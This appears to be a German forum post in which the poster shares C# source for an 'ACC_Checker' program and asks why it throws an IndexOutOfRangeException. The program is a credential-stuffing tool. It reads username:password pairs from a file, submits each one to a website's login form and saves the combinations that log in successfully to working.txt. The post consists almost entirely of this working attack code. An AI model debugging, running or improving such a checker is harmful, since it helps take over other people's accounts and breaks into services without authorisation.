Source:
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
namespace ACC_Checker
{
class Program
{
static void Main(string[] args)
{
Console.Title = "ACC_Checker";
//Existiert die Datei mit den Accounts?
if (File.Exists("Accounts.txt"))
{
//Accounts einlesen
Console.WriteLine("Lese accounts ein...");
List<Account> accounts = new List<Account>();
using (StreamReader sr = new StreamReader("Accounts.txt"))
{
while (sr.Peek() != -1)
{
string line = sr.ReadLine();
if (line != "")
{
Account account = new Account();
account.id = line.Split(':')[0];
account.pw = line.Split(':')[1];
accounts.Add(account);
}
}
sr.Close();
}
Console.WriteLine("{0} account(s) wurden eingelesen.", accounts.Count);
//Accounts überprüfen
Console.WriteLine("Überprüfe accounts...");
for (int i = 0; i < accounts.Count; i++)
{
try
{
Console.Write("Überprüfe account mit der ID: {0}", accounts[i].id);
string str = string.Format("login={0}&password={1}", accounts[i].id, accounts[i].pw);
HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://xxx.com/index.php?s=login");
req.Method = "POST";
req.ContentType = "application/x-www-form-urlencoded";
using (StreamWriter sw = new StreamWriter(req.GetRequestStream()))
{
sw.Write(str);
sw.Close();
}
HttpWebResponse res = (HttpWebResponse)req.GetResponse();
using (StreamReader sr = new StreamReader(res.GetResponseStream()))
{
string response = sr.ReadToEnd();
if (response.Contains("Login erfolgreich"))
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine(" [OKAY]");
using (StreamWriter sw = new StreamWriter("working.txt", true))
{
sw.WriteLine("{0}:{1}", accounts[i].id, accounts[i].pw);
sw.Close();
}
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(" [NICHT OKAY]");
}
sr.Close();
}
Console.ForegroundColor = ConsoleColor.Gray;
}
catch (System.Exception ex)
{
continue;
}
}
}
else
{
Console.WriteLine("Die Datei Accounts.txt existiert nicht.");
}
Console.ReadLine();
}
struct Account
{
public string id;
public string pw;
}
}
}
IndexOutOfRangeException wurde nicht behandelt.
Ich bekomme es einfach nicht hin.







